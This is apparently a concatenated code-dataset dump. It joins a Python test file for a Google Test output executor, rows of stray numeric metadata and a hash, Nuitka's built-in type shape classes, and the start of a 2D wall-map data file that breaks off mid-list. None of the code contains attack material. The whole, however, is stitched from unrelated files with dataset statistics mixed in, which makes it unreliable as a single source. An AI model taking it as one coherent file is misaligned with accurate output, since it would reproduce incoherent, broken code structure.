#!/usr/bin/env python # -*- coding: utf-8 -*- """ test_executor ---------------------------------- Tests for `executor` module. """ import os import sys from ttt.executor import CRASHED, Executor, FAILED from ttt.gtest import GTest BUILDPATH = os.path.sep + os.path.join("path", "to", "build") DUMMYPATH = os.path.join(BUILDPATH, "test_core") class MockTest(GTest): def __init__(self, source, executable, term=None): super(MockTest, self).__init__(source, executable, term) def execute(self, filters): pass def make_test(srcfile, binfile, results): g = MockTest(srcfile, binfile) for line in results: g(sys.stdout, line) return g class TestExecutor: def test_passed(self): e = Executor() g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 1 test from 1 test case.", "[----------] Global test environment set-up.", "[----------] 1 test from core", "[ RUN ] core.ok", "[ OK ] core.ok (0 ms)", "[----------] 1 test from core (1 ms total)", "", "[----------] Global test environment tear-down", "[==========] 1 test from 1 test case ran. (1 ms total)", "[ PASSED ] 1 test.", ], ) results = e.test([g]) assert results == { "total_runtime": 0.001, "total_passed": 1, "total_failed": 0, "failures": [], } def test_failed(self): e = Executor() g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 1 test from 1 test case.", "[----------] Global test environment set-up.", "[----------] 1 test from core", "[ RUN ] core.ok", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.ok (0 ms)", "[----------] 1 test from core (1 ms total)", "", "[----------] Global test environment tear-down", "[==========] 1 test from 1 test case ran. (1 ms total)", "[ PASSED ] 0 tests.", "[ FAILED ] 1 test, listed below:", "[ FAILED ] core.ok", "", " 1 FAILED TEST", ], ) results = e.test([g]) assert results == { "total_runtime": 0.001, "total_passed": 0, "total_failed": 1, "failures": [ [ "core.ok", [ "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", ], [], FAILED, ] ], } def test_windows_seh_crash(self): e = Executor() g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 1 test from 1 test case.", "[----------] Global test environment set-up.", "[----------] 1 test from core", "[ RUN ] core.ok", "unknown file: error: SEH exception with code 0xc0000005 thrown in" " the test body", "[ FAILED ] core.ok (0 ms)", "[----------] 1 test from core (1 ms total)", "", "[----------] Global test environment tear-down", "[==========] 1 test from 1 test case ran. (1 ms total)", "[ PASSED ] 0 tests.", "[ FAILED ] 1 test, listed below:", "[ FAILED ] core.ok", "", " 1 FAILED TEST", ], ) results = e.test([g]) assert results == { "total_runtime": 0.001, "total_passed": 0, "total_failed": 1, "failures": [ [ "core.ok", [ "SEH Exception", "unknown file: error: SEH exception with code " "0xc0000005 thrown in the test body", ], [], CRASHED, ] ], } def test_mixed_results(self): e = Executor() g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 2 tests from 1 test case.", "[----------] Global test environment set-up.", "[----------] 2 test from core", "[ RUN ] core.test", "[ OK ] core.test (0 ms)", "[ RUN ] core.ok", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.ok (0 ms)", "[----------] 2 tests from core (1 ms total)", "", "[----------] Global test environment tear-down", "[==========] 2 tests from 1 test case ran. (1 ms total)", "[ PASSED ] 1 test.", "[ FAILED ] 1 test, listed below:", "[ FAILED ] core.ok", "", " 1 FAILED TEST", ], ) results = e.test([g]) assert results == { "total_runtime": 0.001, "total_passed": 1, "total_failed": 1, "failures": [ [ "core.ok", [ "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", ], [], FAILED, ] ], } def test_filter(self): e = Executor() g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 1 test from 1 test case.", "[----------] Global test environment set-up.", "[----------] 1 test from core", "[ RUN ] core.ok", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.ok (0 ms)", "[----------] 1 test from core (0 ms total)", "", "[----------] Global test environment tear-down", "[==========] 1 test from 1 test case ran. (0 ms total)", "[ PASSED ] 0 tests.", "[ FAILED ] 1 test, listed below:", "[ FAILED ] core.ok", "", " 1 FAILED TEST", ], ) e.test([g]) assert e.test_filter() == {DUMMYPATH: ["core.ok"]} e.clear_filter() assert e.test_filter() == {} def test_failed_filter(self): e = Executor() g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 2 tests from 1 test case.", "[----------] Global test environment set-up.", "[----------] 2 test from core", "[ RUN ] core.test", "[ OK ] core.test (0 ms)", "[ RUN ] core.ok", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.ok (0 ms)", "[----------] 2 tests from core (0 ms total)", "", "[----------] Global test environment tear-down", "[==========] 2 tests from 1 test case ran. (0 ms total)", "[ PASSED ] 1 test.", "[ FAILED ] 1 test, listed below:", "[ FAILED ] core.ok", "", " 1 FAILED TEST", ], ) e.test([g]) assert e.test_filter() == {DUMMYPATH: ["core.ok"]} g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 1 test from 1 test case.", "[----------] Global test environment set-up.", "[----------] 1 test from core", "[ RUN ] core.ok", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.ok (0 ms)", "[----------] 1 test from core (0 ms total)", "", "[----------] Global test environment tear-down", "[==========] 1 test from 1 test case ran. (0 ms total)", "[ PASSED ] 0 tests.", "[ FAILED ] 1 test, listed below:", "[ FAILED ] core.ok", "", " 1 FAILED TEST", ], ) e.test([g]) assert e.test_filter() == {DUMMYPATH: ["core.ok"]} def test_multiple_failed_filter(self): e = Executor() g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 2 tests from 1 test case.", "[----------] Global test environment set-up.", "[----------] 2 test from core", "[ RUN ] core.test", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.test (0 ms)", "[ RUN ] core.ok", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.ok (0 ms)", "[----------] 2 tests from core (0 ms total)", "", "[----------] Global test environment tear-down", "[==========] 2 tests from 1 test case ran. (0 ms total)", "[ PASSED ] 0 tests.", "[ FAILED ] 2 test, listed below:", "[ FAILED ] core.test", "[ FAILED ] core.ok", "", " 2 FAILED TESTS", ], ) e.test([g]) assert e.test_filter() == {DUMMYPATH: ["core.test", "core.ok"]} g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 2 tests from 1 test case.", "[----------] Global test environment set-up.", "[----------] 2 test from core", "[ RUN ] core.test", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.test (0 ms)", "[ RUN ] core.ok", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.ok (0 ms)", "[----------] 2 tests from core (0 ms total)", "", "[----------] Global test environment tear-down", "[==========] 2 tests from 1 test case ran. (0 ms total)", "[ PASSED ] 0 tests.", "[ FAILED ] 2 test, listed below:", "[ FAILED ] core.test", "[ FAILED ] core.ok", "", " 2 FAILED TESTS", ], ) e.test([g]) assert e.test_filter() == {DUMMYPATH: ["core.test", "core.ok"]} def test_failure_then_success_reruns_all(self): e = Executor() g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 1 test from 1 test case.", "[----------] Global test environment set-up.", "[----------] 1 test from core", "[ RUN ] core.ok", "test_core.cc:12: Failure", "Value of: 2", "Expected: ok()", "Which is: 42", "[ FAILED ] core.ok (0 ms)", "[----------] 1 test from core (0 ms total)", "", "[----------] Global test environment tear-down", "[==========] 1 test from 1 test case ran. (0 ms total)", "[ PASSED ] 0 tests.", "[ FAILED ] 1 test, listed below:", "[ FAILED ] core.ok", "", " 1 FAILED TEST", ], ) e.test([g]) assert e.test_filter() == {DUMMYPATH: ["core.ok"]} g = make_test( "test_core.cc", DUMMYPATH, [ "[==========] Running 1 test from 1 test case.", "[----------] Global test environment set-up.", "[----------] 1 test from core", "[ RUN ] core.ok", "[ OK ] core.ok (0 ms)", "[----------] 1 test from core (0 ms total)", "", "[----------] Global test environment tear-down", "[==========] 1 test from 1 test case ran. (0 ms total)", "[ PASSED ] 1 test.", ], ) e.test([g]) assert e.test_filter() == {}
33.833333
83
0.352038
1,240
14,007
3.908871
0.084677
0.062926
0.051991
0.059006
0.872705
0.872705
0.872705
0.872705
0.86796
0.86796
0
0.031688
0.475048
14,007
413
84
33.915254
0.627499
0.008639
0
0.81117
0
0
0.417525
0
0
0
0.001441
0
0.031915
1
0.029255
false
0.045213
0.010638
0
0.047872
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
02024cf833b13dee1e96149a05bc640b9d3ce343
26,592
py
Python
nuitka/nodes/shapes/BuiltinTypeShapes.py
4O4/Nuitka
4127e59b018735208f1146f60fab234d9d2cef94
[ "Apache-2.0" ]
null
null
null
nuitka/nodes/shapes/BuiltinTypeShapes.py
4O4/Nuitka
4127e59b018735208f1146f60fab234d9d2cef94
[ "Apache-2.0" ]
null
null
null
nuitka/nodes/shapes/BuiltinTypeShapes.py
4O4/Nuitka
4127e59b018735208f1146f60fab234d9d2cef94
[ "Apache-2.0" ]
null
null
null
# Copyright 2018, Kay Hayen, mailto:kay.hayen@gmail.com # # Part of "Nuitka", an optimizing Python compiler that is compatible and # integrates with CPython, but also works on its own. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ Shapes for Python built-in types. """ from nuitka.codegen.c_types.CTypeNuitkaBools import CTypeNuitkaBoolEnum from nuitka.codegen.Reports import onMissingOperation from nuitka.PythonVersions import python_version from .StandardShapes import ShapeBase, ShapeIterator, ShapeUnknown class ShapeTypeNoneType(ShapeBase): @staticmethod def getTypeName(): return "NoneType" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False class ShapeTypeBool(ShapeBase): @staticmethod def getTypeName(): return "bool" @staticmethod def getCType(): # enum: "0: False", "1": True, "2": unassigned return CTypeNuitkaBoolEnum @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return True @staticmethod def hasShapeSlotLong(): return True @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown # Int might turn into long when adding anything due to possible # overflow. if right_shape in (ShapeTypeInt, ShapeTypeIntOrLong, ShapeTypeBool): return ShapeTypeIntOrLong if right_shape is ShapeTypeLong: return ShapeTypeLong onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeInt(ShapeBase): @staticmethod def getTypeName(): return "int" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return True @staticmethod def hasShapeSlotLong(): return True @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown # Int might turn into long when adding anything due to possible # overflow. if right_shape in (ShapeTypeInt, ShapeTypeIntOrLong, ShapeTypeBool): return ShapeTypeIntOrLong if right_shape is ShapeTypeLong: return ShapeTypeLong onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeLong(ShapeBase): @staticmethod def getTypeName(): return "long" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return True @staticmethod def hasShapeSlotLong(): return True @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown # Long remains long when adding anything to it. if right_shape in (ShapeTypeLong, ShapeTypeInt, ShapeTypeIntOrLong, ShapeTypeBool): return ShapeTypeLong onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeLongDerived(ShapeTypeLong): @staticmethod def getTypeName(): return None @classmethod def addBinaryShape(cls, right_shape): return ShapeUnknown if python_version < 300: class ShapeTypeIntOrLong(ShapeBase): @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return True @staticmethod def hasShapeSlotLong(): return True @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown # Long remains long when adding anything to it. if right_shape in (ShapeTypeInt, ShapeTypeIntOrLong, ShapeTypeBool): return ShapeTypeIntOrLong if right_shape is ShapeTypeLong: return ShapeTypeLong onMissingOperation("Add", cls, right_shape) return ShapeUnknown else: ShapeTypeIntOrLong = ShapeTypeInt class ShapeTypeIntOrLongDerived(ShapeTypeIntOrLong): @staticmethod def getTypeName(): return None @classmethod def addBinaryShape(cls, right_shape): return ShapeUnknown class ShapeTypeFloat(ShapeBase): @staticmethod def getTypeName(): return "float" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return True @staticmethod def hasShapeSlotLong(): return True @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown # Long remains long when adding anything to it. if right_shape in (ShapeTypeFloat, ShapeTypeLong, ShapeTypeInt, ShapeTypeIntOrLong, ShapeTypeBool): return ShapeTypeFloat onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeFloatDerived(ShapeTypeFloat): @staticmethod def getTypeName(): return None @classmethod def addBinaryShape(cls, right_shape): return ShapeUnknown class ShapeTypeComplex(ShapeBase): @staticmethod def getTypeName(): return "complex" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False class ShapeTypeTuple(ShapeBase): @staticmethod def getTypeName(): return "tuple" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def getShapeIter(): return ShapeTypeTupleIterator @staticmethod def hasShapeSlotContains(): return True @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown if right_shape is ShapeTypeTuple: return ShapeTypeTuple onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeTupleIterator(ShapeIterator): @staticmethod def getTypeName(): return "tupleiterator" if python_version < 300 else "tuple_iterator" @staticmethod def hasShapeSlotLen(): return False class ShapeTypeList(ShapeBase): @staticmethod def getTypeName(): return "list" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def getShapeIter(): return ShapeTypeListIterator @staticmethod def hasShapeSlotContains(): return True @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown if right_shape is ShapeTypeList: return ShapeTypeList onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeListIterator(ShapeIterator): @staticmethod def getTypeName(): return "listiterator" if python_version < 300 else "list_iterator" @staticmethod def hasShapeSlotLen(): return False class ShapeTypeSet(ShapeBase): @staticmethod def getTypeName(): return "set" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def getShapeIter(): return ShapeTypeSetIterator @staticmethod def hasShapeSlotContains(): return True class ShapeTypeSetIterator(ShapeIterator): @staticmethod def getTypeName(): return "setiterator" if python_version < 300 else "set_iterator" @staticmethod def hasShapeSlotLen(): return False class ShapeTypeFrozenset(ShapeBase): @staticmethod def getTypeName(): return "frozenset" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def getShapeIter(): return ShapeTypeSetIterator @staticmethod def hasShapeSlotContains(): return True class ShapeTypeDict(ShapeBase): @staticmethod def getTypeName(): return "dict" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def getShapeIter(): return ShapeTypeDictIterator @staticmethod def hasShapeSlotContains(): return True class ShapeTypeDictIterator(ShapeIterator): @staticmethod def getTypeName(): return "dictionary-keyiterator" if python_version < 300 else "dictkey_iterator" @staticmethod def hasShapeSlotLen(): return False class ShapeTypeStr(ShapeBase): @staticmethod def getTypeName(): return "str" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return True @staticmethod def hasShapeSlotLong(): return True @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def getShapeIter(): return ShapeTypeStrIterator @staticmethod def hasShapeSlotContains(): return True @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown if right_shape is ShapeTypeStr: return ShapeTypeStr if right_shape is ShapeTypeStrDerived: return ShapeUnknown onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeStrDerived(ShapeTypeStr): @staticmethod def getTypeName(): return None @classmethod def addBinaryShape(cls, right_shape): return ShapeUnknown class ShapeTypeStrIterator(ShapeIterator): @staticmethod def getTypeName(): return "iterator" if python_version < 300 else "str_iterator" @staticmethod def hasShapeSlotLen(): return False if python_version < 300: class ShapeTypeUnicode(ShapeBase): @staticmethod def getTypeName(): return "unicode" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return True @staticmethod def hasShapeSlotLong(): return True @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def getShapeIter(): return ShapeTypeUnicodeIterator @staticmethod def hasShapeSlotContains(): return True @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown if right_shape is ShapeTypeUnicode: return ShapeTypeUnicode if right_shape is ShapeTypeUnicodeDerived: return ShapeUnknown onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeUnicodeDerived(ShapeTypeUnicode): @staticmethod def getTypeName(): return None @classmethod def addBinaryShape(cls, right_shape): return ShapeUnknown class ShapeTypeUnicodeIterator(ShapeIterator): @staticmethod def getTypeName(): return "iterator" @staticmethod def hasShapeSlotLen(): return False else: ShapeTypeUnicode = ShapeTypeStr ShapeTypeUnicodeIterator = ShapeTypeStrIterator ShapeTypeUnicodeDerived = ShapeTypeStrDerived if python_version < 300: class ShapeTypeStrOrUnicode(ShapeBase): @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return True @staticmethod def hasShapeSlotLong(): return True @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return True @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return True else: ShapeTypeStrOrUnicode = ShapeTypeStr if python_version >= 300: class ShapeTypeBytes(ShapeBase): @staticmethod def getTypeName(): return "bytes" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return True @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def getShapeIter(): return ShapeTypeBytesIterator @staticmethod def hasShapeSlotContains(): return True @classmethod def addBinaryShape(cls, right_shape): if right_shape is ShapeUnknown: return ShapeUnknown if right_shape is ShapeTypeBytes: return ShapeTypeBytes if right_shape is ShapeTypeBytesDerived: return ShapeUnknown onMissingOperation("Add", cls, right_shape) return ShapeUnknown class ShapeTypeBytesDerived(ShapeTypeBytes): @staticmethod def getTypeName(): return None @classmethod def addBinaryShape(cls, right_shape): return ShapeUnknown class ShapeTypeBytesIterator(ShapeIterator): @staticmethod def getTypeName(): return "bytes_iterator" @staticmethod def hasShapeSlotLen(): return False else: ShapeTypeBytes = ShapeTypeStr ShapeTypeBytesIterator = ShapeTypeStrIterator # Shoudln't happen with Python2 ShapeTypeBytesDerived = None class ShapeTypeBytearray(ShapeBase): @staticmethod def getTypeName(): return "bytearray" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def getShapeIter(): return ShapeTypeBytearrayIterator @staticmethod def hasShapeSlotContains(): return True class ShapeTypeBytearrayIterator(ShapeIterator): @staticmethod def getTypeName(): return "bytearray_iterator" @staticmethod def hasShapeSlotLen(): return False class ShapeTypeEllipsisType(ShapeBase): @staticmethod def getTypeName(): return "ellipsis" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return True class ShapeTypeSlice(ShapeBase): @staticmethod def getTypeName(): return "slice" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False class ShapeTypeXrange(ShapeBase): @staticmethod def getTypeName(): return "xrange" if python_version < 300 else "range" @staticmethod def hasShapeSlotLen(): return True @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return False @staticmethod def getShapeIter(): return ShapeTypeXrangeIterator @staticmethod def hasShapeSlotContains(): return True class ShapeTypeXrangeIterator(ShapeIterator): @staticmethod def getTypeName(): return "rangeiterator" if python_version < 300 else "range_iterator" @staticmethod def hasShapeSlotLen(): return False class ShapeTypeType(ShapeBase): @staticmethod def getTypeName(): return "type" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False class ShapeTypeModule(ShapeBase): @staticmethod def getTypeName(): return "module" @staticmethod def hasShapeModule(): return True @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False class ShapeTypeBuiltinModule(ShapeTypeModule): pass class ShapeTypeFile(ShapeBase): @staticmethod def getTypeName(): return "file" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return True @staticmethod def hasShapeSlotNext(): return True @staticmethod def hasShapeSlotContains(): return True class ShapeTypeStaticmethod(ShapeBase): @staticmethod def getTypeName(): return "staticmethod" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False class ShapeTypeClassmethod(ShapeBase): @staticmethod def getTypeName(): return "classmethod" @staticmethod def hasShapeSlotLen(): return False @staticmethod def hasShapeSlotInt(): return False @staticmethod def hasShapeSlotLong(): return False @staticmethod def hasShapeSlotFloat(): return False @staticmethod def hasShapeSlotComplex(): return False @staticmethod def hasShapeSlotIter(): return False @staticmethod def hasShapeSlotNext(): return False @staticmethod def hasShapeSlotContains(): return False
20.024096
87
0.631844
2,086
26,592
8.019655
0.102109
0.232231
0.160858
0.18184
0.83424
0.737163
0.712894
0.68719
0.676968
0.676729
0
0.002452
0.30983
26,592
1,327
88
20.039186
0.909061
0.042757
0
0.878151
0
0
0.014594
0.000865
0
0
0
0
0
1
0.288866
false
0.00105
0.004202
0.278361
0.652311
0
0
0
0
null
1
0
1
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
10
026c395d491dc71500af84676cea45bed9697106
10,933
py
Python
Script/fielddata.py
kyongkyong2898/myfirstpygame
3a72981b2772aecf54d6e8e844e7c310bc739d6b
[ "MIT" ]
null
null
null
Script/fielddata.py
kyongkyong2898/myfirstpygame
3a72981b2772aecf54d6e8e844e7c310bc739d6b
[ "MIT" ]
null
null
null
Script/fielddata.py
kyongkyong2898/myfirstpygame
3a72981b2772aecf54d6e8e844e7c310bc739d6b
[ "MIT" ]
null
null
null
wall = { 'home_town' : [ [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1] ], 'field_1' : [ [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 